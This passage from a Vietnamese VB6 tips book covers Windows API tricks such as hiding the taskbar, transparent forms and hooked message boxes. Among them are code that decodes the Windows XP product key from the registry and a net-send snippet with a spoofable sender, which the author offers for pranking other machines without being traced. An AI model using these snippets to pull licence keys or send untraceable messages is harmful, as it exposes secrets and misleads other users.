  • 44. Chiêu thức lập trình VB 6.0 Đôc chiêu 31 : Không cho dịch ngược phần mềm của bạn home Binh khí : 1 nút ấn cới tên Command1, 1 DirListBox với tên Dir1, 1 DriveListBox với tên Drive1 ,1 FileListBox với tên File1 Xuất xứ : www.pscode.com Đoạn mã : Private Sub Command1_Click() A = "." Open Text1.Text For Binary As #1 Seek #1, 25 Put #1, , A Close #1 MsgBox "The File, ''" & Text1 & "'', Was Protected from being decompiled!", vbOKOnly, "Decompile Protection Attempt Successful!" End Sub Private Sub Dir1_Change() File1 = Dir1 Text1 = Drive1 & "/" & Dir1 End Sub Private Sub Drive1_Change() Drive1 = Dir1 End Sub Private Sub File1_Click() Text1 = Dir1 & "" & File1 End Sub Private Sub File1_DblClick() Command1_Click End Sub Private Sub Form_Load() MsgBox "Lien he voi tac gia voi email cindy.joyce@worldnet.att.net", 40, "Thanh cong!" Text1.Text = "" Command1.Caption = "File da duoc khoa!" End Sub Đôc chiêu 32 : Lấy kiểu (Type) của đĩa home Binh khí : 1 nút ấn cới tên Command1, 1 DirListBox với tên Dir1, 1 DriveListBox với tên Drive1 ,1 FileListBox với tên File1 Xuất xứ : www.pscode.com Đoạn mã Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Public Function Drive_Type(DriveLetter As Variant) As Long Dim strDL As String strDL = Left$(DriveLetter, 1) + ":" Drive_Type = GetDriveType(strDL) End Function Đôc chiêu 33 : Ẩn thanh Taskbar hoặc các thành phần khác home Binh khí : (Nếu bạn muốn test thì tự vẽ thêm các đối tượng vì đoạn code đã tương đối chi tiết) Xuất xứ : www.pscode.com Đoạn mã Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 44
  • 45. Chiêu thức lập trình VB 6.0 Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Const SWP_SHOWWINDOW = &H40 Private Const SWP_HIDEWINDOW = &H80 Private Const SWP_FRAMECHANGED = &H20 Private TaskBarhWnd As Long Private StartButtonhWnd As Long Private SysTrayhWnd As Long Private ClockhWnd As Long Private FirstBarhWnd As Long Private SecondBarhWnd As Long Private ThirdBarhWnd As Long Private FourthBarhWnd As Long Public Function HideTaskBarParts(whattohide As String) As Boolean TaskBarhWnd = FindWindow("Shell_TrayWnd", "") StartButtonhWnd = FindWindowEx(TaskBarhWnd, 0, "Button" & vbNullString, vbNullString) SysTrayhWnd = FindWindowEx(TaskBarhWnd, 0, "traynotifywnd" & vbNullString, vbNullString) ClockhWnd = FindWindowEx(SysTrayhWnd, 0, "TrayClockWClass" & vbNullString, vbNullString) FirstBarhWnd = FindWindowEx(TaskBarhWnd, 0, "ReBarWindow32" & vbNullString, vbNullString) SecondBarhWnd = FindWindowEx(FirstBarhWnd, 0, "ToolBarWindow32" & vbNullString, vbNullString) ThirdBarhWnd = FindWindowEx(FirstBarhWnd, 0, "MSTaskSwWClass" & vbNullString, vbNullString) FourthBarhWnd = FindWindowEx(ThirdBarhWnd, 0, "SysTabControl32" & vbNullString, vbNullString) If TaskBarhWnd = 0 Or StartButtonhWnd = 0 Or SysTrayhWnd = 0 Or ClockhWnd = 0 Or FirstBarhWnd = 0 Or SecondBarhWnd = 0 Or ThirdBarhWnd = 0 Or FourthBarhWnd = 0 Then MsgBox "Error recieving window handles !!!", vbCritical, "No hWnd detected" Exit Function End If If whattohide = "Taskbar" Then X = SetWindowPos(TaskBarhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) ElseIf whattohide = "Systray" Then X = SetWindowPos(SysTrayhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) ElseIf whattohide = "Clock" Then X = SetWindowPos(ClockhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) ElseIf whattohide = "Quickstart" Then X = SetWindowPos(SecondBarhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) ElseIf whattohide = "Tasklist" Then X = SetWindowPos(ThirdBarhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) ElseIf whattohide = "Startbutton" Then X = SetWindowPos(StartButtonhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) Else X = 0 End If HideTaskBarParts = X End Function Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 45
  • 46. Chiêu thức lập trình VB 6.0 Public Function ShowTaskBarParts(whattoshow As String) As Boolean If whattoshow = "Taskbar" Then X = SetWindowPos(TaskBarhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) ElseIf whattoshow = "Systray" Then X = SetWindowPos(SysTrayhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) ElseIf whattoshow = "Clock" Then X = SetWindowPos(ClockhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) ElseIf whattoshow = "Quickstart" Then X = SetWindowPos(SecondBarhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) ElseIf whattoshow = "Tasklist" Then X = SetWindowPos(ThirdBarhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) ElseIf whattoshow = "Startbutton" Then X = SetWindowPos(StartButtonhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) Else X = 0 End If Call SetWindowPos(TaskBarhWnd, 0, 0, 0, 0, 0, SWP_FRAMECHANGED) ShowTaskBarParts = X End Function Đôc chiêu 34 : Nhìn Windowns XP CD Key home Binh khí : Tất nhiên chiêu này chỉ áp dụng cho Windowns XP thui rùi. Xuất xứ : www.pscode.com Đoạn mã Option Explicit Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long Private Const REG_BINARY = 3 Private Const HKEY_LOCAL_MACHINE = &H80000002 Private Const ERROR_SUCCESS = 0& Public Function sGetXPCDKey() As String 'HKLMSOFTWAREMICROSOFTWindows NTCurr ' entVersionDigitalProductId Dim bDigitalProductID() As Byte Dim bProductKey() As Byte Dim ilByte As Long Dim lDataLen As Long Dim hKey As Long If RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWAREMICROSOFTWindows NTCurrentVersion", hKey) = ERROR_SUCCESS Then lDataLen = 164 ReDim Preserve bDigitalProductID(lDataLen) If RegQueryValueEx(hKey, "DigitalProductId", 0&, REG_BINARY, bDigitalProductID(0), lDataLen) = ERROR_SUCCESS Then ReDim Preserve bProductKey(14) For ilByte = 52 To 66 bProductKey(ilByte - 52) = bDigitalProductID(ilByte) Next ilByte Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 46
  • 47. Chiêu thức lập trình VB 6.0 Else sGetXPCDKey = "" Exit Function End If Else ' CROSOFTWindows NTCurrentVersion" sGetXPCDKey = "" Exit Function End If Dim bKeyChars(0 To 24) As Byte 'Giai ma CD key : bKeyChars(0) = Asc("B") bKeyChars(1) = Asc("C") bKeyChars(2) = Asc("D") bKeyChars(3) = Asc("F") bKeyChars(4) = Asc("G") bKeyChars(5) = Asc("H") bKeyChars(6) = Asc("J") bKeyChars(7) = Asc("K") bKeyChars(8) = Asc("M") bKeyChars(9) = Asc("P") bKeyChars(10) = Asc("Q") bKeyChars(11) = Asc("R") bKeyChars(12) = Asc("T") bKeyChars(13) = Asc("V") bKeyChars(14) = Asc("W") bKeyChars(15) = Asc("X") bKeyChars(16) = Asc("Y") bKeyChars(17) = Asc("2") bKeyChars(18) = Asc("3") bKeyChars(19) = Asc("4") bKeyChars(20) = Asc("6") bKeyChars(21) = Asc("7") bKeyChars(22) = Asc("8") bKeyChars(23) = Asc("9") Dim nCur As Integer Dim sCDKey As String Dim ilKeyByte As Long Dim ilBit As Long For ilByte = 24 To 0 Step -1 nCur = 0 For ilKeyByte = 14 To 0 Step -1 nCur = nCur * 256 Xor bProductKey(ilKeyByte) bProductKey(ilKeyByte) = Int(nCur / 24) nCur = nCur Mod 24 Next ilKeyByte sCDKey = Chr(bKeyChars(nCur)) & sCDKey If ilByte Mod 5 = 0 And ilByte <> 0 Then sCDKey = "-" & sCDKey Next ilByte sGetXPCDKey = sCDKey Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 47
  • 48. Chiêu thức lập trình VB 6.0 End Function Đôc chiêu 35 : Tùy chọn hộp thoại thông báo của chương trình home Binh khí : Cần 2 nút ấn với tên CmdTest và cmdTest1, một Module Xuất xứ : www.pscode.com Đoạn mã Trong Module Option Explicit Private Declare Function GetCurrentThreadId Lib "kernel32" () As Long Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hwndParent As Long, ByVal hwndChildAfter As Long, ByVal lpszClass As String, ByVal lpszWindow As String) As Long Private Declare Function SetWindowText Lib "user32.dll" Alias "SetWindowTextA" (ByVal HWND As Long, ByVal lpString As String) As Long Private Declare Function GetClassName Lib "user32.dll" Alias "GetClassNameA" (ByVal HWND As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal HWND As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Const HCBT_ACTIVATE = 5 Private Const WH_CBT = 5 Private hHook As Long, ButtonText(3) As String, PasswordChar As Byte Private Function ChangeButtonsText(ByVal lMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Dim t As Integer, cName As String, Length As Long, Btn(0 To 3) As Long If lMsg = HCBT_ACTIVATE Then Btn(0) = FindWindowEx(wParam, 0, vbNullString, vbNullString) For t = 1 To 3 Btn(t) = FindWindowEx(wParam, Btn(t - 1), vbNullString, vbNullString) If Btn(t) = 0 Then Exit For Next t For t = 0 To 3 If (Btn(t) <> 0) And (Btn(t) <> wParam) Then cName = Space(255) Length = GetClassName(Btn(t), cName, 255) cName = Left(cName, Length) If UCase(cName) = "BUTTON" Then If ButtonText(t) <> vbNullString Then SetWindowText Btn(t), ButtonText(t) End If End If Next t UnhookWindowsHookEx hHook End If ChangeButtonsText = False End Function Private Function SetPasswordChar(ByVal lMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Const EM_SETPASSWORDCHAR As Long = &HCC Dim t As Integer, cName As String, Length As Long, Btn(0 To 3) As Long If lMsg = HCBT_ACTIVATE Then Btn(0) = FindWindowEx(wParam, 0, vbNullString, vbNullString) For t = 1 To 3 Btn(t) = FindWindowEx(wParam, Btn(t - 1), vbNullString, vbNullString) If Btn(t) = 0 Then Exit For Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 48
  • 49. Chiêu thức lập trình VB 6.0 Next t For t = 0 To 3 If (Btn(t) <> 0) And (Btn(t) <> wParam) Then cName = Space(255) Length = GetClassName(Btn(t), cName, 255) cName = Left(cName, Length) If LCase$(cName) = "edit" Then SendMessage Btn(t), EM_SETPASSWORDCHAR, ByVal PasswordChar, ByVal 0& End If Next t UnhookWindowsHookEx hHook End If SetPasswordChar = False End Function Public Function CustomMsgBox(ByVal zMessage As String, Optional ByVal zButtons As VbMsgBoxStyle = vbOKOnly, Optional ByVal zTitle As String = vbNullString, Optional ByVal Button1Text As String = vbNullString, Optional ByVal Button2Text As String = vbNullString, Optional ByVal Button3Text As String = vbNullString) As VbMsgBoxResult Dim Thread As Long ButtonText(0) = Button1Text ButtonText(1) = Button2Text ButtonText(2) = Button3Text Thread = GetCurrentThreadId() hHook = SetWindowsHookEx(WH_CBT, AddressOf ChangeButtonsText, ByVal 0&, Thread) If zTitle = vbNullString Then CustomMsgBox = MsgBox(zMessage, zButtons) Else CustomMsgBox = MsgBox(zMessage, zButtons, zTitle) End If End Function Public Function PasswordBox(ByVal zMessage As String, Optional ByVal zTitle As String = vbNullString, Optional ByVal zPasswordChar As Byte = 42) As String Dim Thread As Long PasswordChar = zPasswordChar Thread = GetCurrentThreadId() hHook = SetWindowsHookEx(WH_CBT, AddressOf SetPasswordChar, ByVal 0&, Thread) If zTitle = vbNullString Then PasswordBox = InputBox(zMessage) Else PasswordBox = InputBox(zMessage, zTitle) End If End Function Trong Form : Private Sub CmdTest_Click() PasswordBox "Moi ban nhap mat khau ???", "Thong bao" End Sub Private Sub cmdTest1_Click() CustomMsgBox "Thu cho biet -_-", vbDefaultButton2, "Test", "Dong y", "Huy bo" End Sub Đôc chiêu 36 : Đưa con trỏ đến một vị trí nhất định home Xuất xứ : www.pscode.com Binh khí sử dụng : Một Module, 2 nút ấn (CommandButton) Đoạn mã : Module : Public Type POINTAPI X As Long Y As Long Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 49
  • 50. Chiêu thức lập trình VB 6.0 End Type Declare Function ClientToScreen Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long Public Declare Function SetCursorPos Lib "user32.dll" (ByVal X As Long, ByVal Y As Long) As Long Sub MoveMouse(X As Single, Y As Single) Dim pt As POINTAPI pt.X = X pt.Y = Y ClientToScreen Form1.hwnd, pt SetCursorPos pt.X, pt.Y End Sub Form : Private Sub Form_Load() MoveMouse 500, 400 End Sub Đôc chiêu 37 : Hiệu ứng khi Click vào Form home Xuất xứ : www.pscode.com Binh khí sử dụng : Không Đoạn mã : Private Type POINTAPI X As Long Y As Long End Type Private Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long Private Declare Function CreatePen Lib "gdi32" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long Private Declare Function GetStockObject Lib "gdi32" (ByVal nIndex As Long) As Long Private Declare Function SetROP2 Lib "gdi32" (ByVal hdc As Long, ByVal nDrawMode As Long) As Long Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long Private Declare Function Rectangle Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Private Declare Function SetCapture Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function ReleaseCapture Lib "user32" () As Long Private Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Private Declare Function SelectClipRgn Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long) As Long Private Declare Function GetClipRgn Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long) As Long Private Const NULL_BRUSH = 5 Private Selecting As Boolean Private BorderDrawn As Boolean Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 50
  • 51. Chiêu thức lập trình VB 6.0 Private Myhwnd As Long Private Sub Command1_Click() Draw End Sub Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) Selecting = True SetCapture Me.hwnd Form_MouseMove 0, Shift, X, Y End Sub Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) If Selecting = False Then Exit Sub Draw End Sub Private Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single) If Selecting = False Then Exit Sub UnDraw ReleaseCapture Selecting = False Myhwnd = 0 End Sub Private Sub Draw() Dim Cursor As POINTAPI Dim RetVal As Long Dim hdc As Long Dim Pen As Long Dim Brush As Long Dim OldPen As Long Dim OldBrush As Long Dim OldROP As Long Dim Region As Long Dim OldRegion As Long Dim FullWind As RECT Dim Draw As RECT GetCursorPos Cursor RetVal = WindowFromPoint(Cursor.X, Cursor.Y) If RetVal = Myhwnd Then Exit Sub If BorderDrawn = True Then UnDraw BorderDrawn = True Myhwnd = RetVal Me.Cls Me.Print Hex(Myhwnd) GetWindowRect Myhwnd, FullWind Region = CreateRectRgn(0, 0, FullWind.Right - FullWind.Left, FullWind.Bottom - FullWind.Top) hdc = GetWindowDC(Myhwnd) RetVal = GetClipRgn(hdc, OldRegion) RetVal = SelectObject(hdc, Region) Pen = CreatePen(DrawStyleConstants.vbSolid, 6, 0) OldPen = SelectObject(hdc, Pen) Brush = GetStockObject(NULL_BRUSH) OldBrush = SelectObject(hdc, Brush) OldROP = SetROP2(hdc, DrawModeConstants.vbInvert) With Draw .Left = 0 .Top = 0 .Bottom = FullWind.Bottom - FullWind.Top Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 51
  • 52. Chiêu thức lập trình VB 6.0 .Right = FullWind.Right - FullWind.Left Rectangle hdc, .Left, .Top, .Right, .Bottom End With SelectObject hdc, OldRegion SetROP2 hdc, OldROP SelectObject hdc, OldBrush SelectObject hdc, OldPen DeleteObject Brush DeleteObject Pen DeleteObject Region ReleaseDC Myhwnd, hdc End Sub Private Sub UnDraw() If BorderDrawn = False Then Exit Sub BorderDrawn = False If Myhwnd = 0 Then Exit Sub Dim Cursor As POINTAPI Dim RetVal As Long Dim hdc As Long Dim Pen As Long Dim Brush As Long Dim OldPen As Long Dim OldBrush As Long Dim OldROP As Long Dim Region As Long Dim OldRegion As Long Dim FullWind As RECT Dim Draw As RECT GetWindowRect Myhwnd, FullWind Region = CreateRectRgn(0, 0, FullWind.Right - FullWind.Left, FullWind.Bottom - FullWind.Top) hdc = GetWindowDC(Myhwnd) RetVal = GetClipRgn(hdc, OldRegion) RetVal = SelectObject(hdc, Region) Pen = CreatePen(DrawStyleConstants.vbSolid, 6, 0) ' Draw Solid lines, width 6, and color black OldPen = SelectObject(hdc, Pen) Brush = GetStockObject(NULL_BRUSH) OldBrush = SelectObject(hdc, Brush) OldROP = SetROP2(hdc, DrawModeConstants.vbInvert) ' vbInvert means, whatever is draw, With Draw .Left = 0 .Top = 0 .Bottom = FullWind.Bottom - FullWind.Top .Right = FullWind.Right - FullWind.Left Rectangle hdc, .Left, .Top, .Right, .Bottom ' Really easy to understand - draw a rectangle, hDC, and coordinates End With SelectObject hdc, OldRegion SetROP2 hdc, OldROP SelectObject hdc, OldBrush SelectObject hdc, OldPen DeleteObject Brush DeleteObject Pen DeleteObject Region ReleaseDC Myhwnd, hdc End Sub Đôc chiêu 38 : Hàm dùng để đoc số ra chữ home Chú ý : Phiên bản tiếng Anh nhưng bạn có thể dễ dàng Việt Hóa Xuất xứ : www.pscode.com Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 52
  • 53. Chiêu thức lập trình VB 6.0 Binh khí sử dụng : Không Đoạn mã : (Do hàm rất dễ sữ dụng nên sẽ không đưa ra ví dụ cụ thể) Public Function SpellNumber(ByVal MyNumber) If MyNumber = "" Then MyNumber = 0 End If Dim Rupees, Paisas, temp Dim DecimalPlace, Count ReDim Place(9) As String Place(2) = " Thousand " Place(3) = " Lacs " ' Place(4) = " Crores " Place(5) = " Trillion " MyNumber = Trim(Str(MyNumber)) If (MyNumber > 999999999.99) Then SpellNumber = "Digit excced Maximum limit" Exit Function End If DecimalPlace = InStr(MyNumber, ".") If DecimalPlace > 0 Then Paisas = GetTens(Left(Mid(MyNumber, DecimalPlace + 1) & "00", 2)) MyNumber = Trim(Left(MyNumber, DecimalPlace - 1)) End If Count = 1 Dim iTemp As Integer Do While MyNumber <> "" If (Count >= 2) Then iTemp = Right(MyNumber, 2) Else If (Len(MyNumber) = 2) Then iTemp = Right(MyNumber, 2) ElseIf (Len(MyNumber) = 1) Then iTemp = Right(MyNumber, 1) Else iTemp = Right(MyNumber, 3) End If End If If iTemp >= 99 Then iTemp = Right(MyNumber, 3) temp = GetHundreds(iTemp) ElseIf iTemp < 99 And iTemp > 9 Then iTemp = Right(MyNumber, 2) temp = GetTens(iTemp) ElseIf iTemp < 10 Then iTemp = Right(MyNumber, 2) temp = GetDigit(iTemp) End If If temp <> "" Then Rupees = temp & Place(Count) & Rupees End If If Count = 2 Then If Len(MyNumber) = 1 Then MyNumber = "" Else MyNumber = Left(MyNumber, Len(MyNumber) - 2) End If ElseIf Count = 3 Then If Len(MyNumber) >= 3 Then MyNumber = Left(MyNumber, Len(MyNumber) - 2) Else MyNumber = "" End If Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 53
  • 54. Chiêu thức lập trình VB 6.0 ElseIf Count = 4 Then MyNumber = "" Else If Len(MyNumber) <= 2 Then MyNumber = "" Else MyNumber = Left(MyNumber, Len(MyNumber) - 3) End If End If Count = Count + 1 Loop Select Case Rupees Case "" Rupees = "No Rupees" Case "One" Rupees = "One Rupee" Case Else Rupees = " Rupees " & Rupees End Select Select Case Paisas Case "" Paisas = "" Case "One" Paisas = " and One Paisa" Case Else Paisas = " and " & Paisas & " Paisas" End Select SpellNumber = Rupees & Paisas & " Only" iLoop = 0 End Function Function GetHundreds(ByVal MyNumber) Dim result As String If Val(MyNumber) = 0 Then Exit Function MyNumber = Right("000" & MyNumber, 3) 'Convert the hundreds place If Mid(MyNumber, 1, 1) <> "0" Then If (iLoop > 1) Then result = GetDigit(Mid(MyNumber, 1, 1)) & " Lac " iLoop = 0 ElseIf (iLoop = 1) Then Else result = GetDigit(Mid(MyNumber, 1, 1)) & " Hundred " iLoop = iLoop + 1 End If End If If Mid(MyNumber, 2, 1) <> "0" Then result = result & GetTens(Mid(MyNumber, 2)) Else result = result & GetDigit(Mid(MyNumber, 3)) End If GetHundreds = result End Function Function GetTens(TensText) Dim result As String result = "" 'null out the temporary function value If Val(Left(TensText, 1)) = 1 Then ' If value between 10-19 Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 54
  • 55. Chiêu thức lập trình VB 6.0 Select Case Val(TensText) Case 10: result = "Ten" Case 11: result = "Eleven" Case 12: result = "Twelve" Case 13: result = "Thirteen" Case 14: result = "Fourteen" Case 15: result = "Fifteen" Case 16: result = "Sixteen" Case 17: result = "Seventeen" Case 18: result = "Eighteen" Case 19: result = "Nineteen" Case Else End Select Else ' If value between 20-99 Select Case Val(Left(TensText, 1)) Case 2: result = "Twenty " Case 3: result = "Thirty " Case 4: result = "Forty " Case 5: result = "Fifty " Case 6: result = "Sixty " Case 7: result = "Seventy " Case 8: result = "Eighty " Case 9: result = "Ninety " Case Else End Select result = result & GetDigit _ (Right(TensText, 1)) 'Retrieve ones place End If GetTens = result End Function Function GetDigit(Digit) Select Case Val(Digit) Case 1: GetDigit = "One" Case 2: GetDigit = "Two" Case 3: GetDigit = "Three" Case 4: GetDigit = "Four" Case 5: GetDigit = "Five" Case 6: GetDigit = "Six" Case 7: GetDigit = "Seven" Case 8: GetDigit = "Eight" Case 9: GetDigit = "Nine" Case Else: GetDigit = "" End Select End Function Đôc chiêu 39 : Để chương trình bạn có giao diện “Nữa trong suốt” home Giới thiệu : Trong các Độc chiêu trước tôi đã có giới thiệu 2 chiêu khá hay đó là Form trong suốt và Form theo hình dạng bức ảnh tuy nhiên mỗi chiêu có một vẽ hay, cũng như vậy tại độc chiêu này tuy thực tế ứng dụng hầu như không gặp (Theo tôi nhận thấy) tuy nhiên nó cũng khá thú vị để ta ngâm kíu. Xuất xứ : www.pscode.com (Dungcoi lam nhiêm vụ “Thu gọn đọan Code) Binh khí sử dụng : Không Đoạn mã : Option Explicit Private Const ULW_COLORKEY = &H1 Private Const GWL_STYLE = (-16) Private Const GWL_EXSTYLE = (-20) Private Const WS_EX_LAYERED = &H80000 Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 55
  • 56. Chiêu thức lập trình VB 6.0 Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long Dim Trans As Boolean Dim OldStyle As Long Private Sub Form_Load() Transparent (True) End Sub Private Sub Transparent(t As Boolean) Trans = Not Trans If t Then Me.BackColor = &HFFCCCC SetWindowLong Me.hwnd, GWL_EXSTYLE, WS_EX_LAYERED SetLayeredWindowAttributes Me.hwnd, &HFFCCCC, 0, ULW_COLORKEY Else Me.BackColor = &H8000000F SetWindowLong Me.hwnd, GWL_EXSTYLE, OldStyle End If End Sub Đôc chiêu 40 : Gửi thông điệp tới một máy tinh bất kỳ home Giới thiệu : Điều kiện bạn cấn biết số IP của máy tính đó và máy đó phải nối mạng với máy của bạn (LAN hay Internet cũng ổn) À cần nói thêm nữa là nếu như dùng các lệnh thông thường như “Shell Net Send” sẽ để lại “Dấu vết” (Địa chỉ IP hoặc tên máy của bạn), như vậy thông nhiều trường hợp có lẽ “Không hay” (Ví dụ như tui muốn “Wậy” các máy tính khác mà không muốn bị “Túm cổ” (o_-)) Xuất xứ : www.pscode.com Binh khí sử dụng : - Cần ba TextBox với các tên : txtTo , txtFrom , txtMessage - 1 Button tên là : cmdSend - 1Label tên là : lStatus Đoạn mã : Private Declare Function NetSend Lib "netapi32" Alias "NetMessageBufferSend" (ByVal cServerName As String, ByVal cMsgName As String, ByVal cFromName As String, ByVal cBuf As String, ByRef iBufLen As Integer) As Integer Private Sub cmdSend_Click() Dim sMessage Dim sMsgFrom As String Dim sMsgTo As String Dim Net_Api_Status As Long sMessage = StrConv(txtMessage & vbclrf, vbUnicode) sMsgTo = StrConv(txtTo, vbUnicode) sMsgFrom = StrConv(txtFrom, vbUnicode) NetSend "", sMsgTo, sMsgFrom, sMessage, Len(sMessage) lStatus.Caption = "Dang gui .." End Sub ‘ Cần chú ý : Nếu bạn đang viết ứng dụng hoặc Test ở một máy không có kết nối mạng LAN hay Internet thì rất đơn giản địa chỉ của bạn là : 127.0.0.1 Vậy ngay bây giờ bạn có thể Test đọan Code i73 “Mọi lúc mọi nơi “ rùi đó Chú ý : Do thư viện một số máy tính cũng nhưcổng DNS của máy “Đích” có thể đóng nên “Chiêu thức” này không có Bảo hành Đôc chiêu 41 : Quét tất cả các máy trong mạng LAN home Giới thiệu : Với đọan Code sau chương trình của bạn sẽ quét tên tất cả các máy tính rong cùng mạng LAN với máy tính của bạn (Khi chương trình chạy) Xuất xứ : www.pscode.com Binh khí sử dụng : - 1 Class mang tên LAN - 1 ListBox (Trong Form bạn cần hiển thị) với tên : LstLAN Đoạn mã : Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 56
  • 57. Chiêu thức lập trình VB 6.0 ‘Trong Class : Option Explicit Dim PCLIST As String 'buffer to hold pc's names Private Type NETRESOURCE dwScope As Long dwType As Long dwDisplayType As Long dwUsage As Long lpLocalName As Long lpRemoteName As Long lpComment As Long lpProvider As Long End Type Private Declare Function WNetOpenEnum Lib "mpr.dll" Alias _ "WNetOpenEnumA" (ByVal dwScope As Long, ByVal dwType As Long, _ ByVal dwUsage As Long, lpNetResource As Any, lphEnum As Long) As Long Private Declare Function WNetEnumResource Lib "mpr.dll" Alias _ "WNetEnumResourceA" (ByVal hEnum As Long, lpcCount As Long, _ ByVal lpBuffer As Long, lpBufferSize As Long) As Long Private Declare Function WNetCloseEnum Lib "mpr.dll" _ (ByVal hEnum As Long) As Long Private Const RESOURCE_CONNECTED = &H1 Private Const RESOURCE_GLOBALNET = &H2 Private Const RESOURCE_REMEMBERED = &H3 Private Private Private Private Const Const Const Const RESOURCETYPE_ANY = &H0 RESOURCETYPE_DISK = &H1 RESOURCETYPE_PRINT = &H2 RESOURCETYPE_UNKNOWN = &HFFFF Private Const RESOURCEUSAGE_CONNECTABLE = &H1 Private Const RESOURCEUSAGE_CONTAINER = &H2 Private Const RESOURCEUSAGE_RESERVED = &H80000000 Private Const GMEM_FIXED = &H0 Private Const GMEM_ZEROINIT = &H40 Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT) Private Declare Function GlobalAlloc Lib "kernel32" _ (ByVal wFlags As Long, ByVal dwBytes As Long) As Long Private Declare Function GlobalFree Lib "kernel32" _ (ByVal hMem As Long) As Long Private Declare Sub CopyMemory Lib "kernel32" Alias _ "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, _ ByVal cbCopy As Long) Private Declare Function CopyPointer2String Lib _ "kernel32" Alias "lstrcpyA" (ByVal NewString As _ String, ByVal OldString As Long) As Long Private Function DoNetEnum() Dim hEnum As Long, lpBuff As Long, NR As NETRESOURCE Dim cbBuff As Long, cCount As Long Dim P As Long, res As Long, i As 